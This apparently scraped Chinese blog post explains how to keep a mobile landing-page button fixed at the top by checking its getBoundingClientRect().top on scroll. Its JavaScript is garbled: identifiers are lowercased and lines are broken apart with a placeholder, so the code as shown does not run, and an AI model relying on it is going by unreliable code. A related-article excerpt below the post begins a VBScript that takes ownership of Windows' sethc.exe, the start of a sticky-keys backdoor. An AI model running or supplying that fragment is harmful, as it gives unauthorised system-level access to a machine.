吸頂小計 有意思的事兒

2021-10-12 12:53:49 字數 843 閱讀 1525

現在多數移動端網頁有些按鈕需要吸頂,尤其是落地頁,按鈕的吸頂有助於得到更多的註冊量

其實大多思路都沒得錯,多數是記錄吸頂元素距離頂部距離然後監聽滾動事件,獲取當前滾動高度,然後和 記錄的距離相比較

let viewtop =

this

.$refs.ele.

getboundingclientrect()

.top

let scrollheight = ***

scrollheight > viewtop ? 吸頂 : 取消吸頂

通常記錄滾動高度是有相容的,寫的太煩了

let scrollheight = 

window.pageyoffset || document.documentelement.scrolltop ||document.body.scrolltop ||

0

換個思路,需求是這樣的,當某按鈕沒有出現在頁面的可視區域內,此時會出現吸頂,保證在可視區域中,那麼我們其實只需要知道它 (按鈕),是不是在可視區中就可以了

window.

onscroll=(

)=>

ele.getboundingclientrect().top,會返回距離頁面頂部的距離,當頁面滾動時,會不斷減小,當消失在頁面中時,距離也就變成了負值,因此直接判斷它距離頂部是否小於0即可

有意思的後門

dim obj,success set obj createobject wscript.shell success obj.run cmd c takeown f systemroot system32 sethc.exe 0,true success obj.run cmd c echo y c...

有意思的number format

申明 這是個人原創,在cnblogs上也有,都是自己寫的所以放原創了。number format number,decimals,decimalpoint,separator 有四個引數,第乙個和第二個引數是必須的,第三個和第四個是可選項。但實際測試中第三個和第四個這兩個引數必須同時存在,也就是要麼...

有意思的遞迴

先來乙個入門的 上初中學習數列求和什麼的時候我們就學過高斯的計算1到100的自然數的和的經典課文,那麼如果我們現在用程式的話該怎麼來做呢?自然是迴圈來做這件事。如果不用迴圈怎麼做呢?def sum first,end if end 1 return first elif end 1 return s...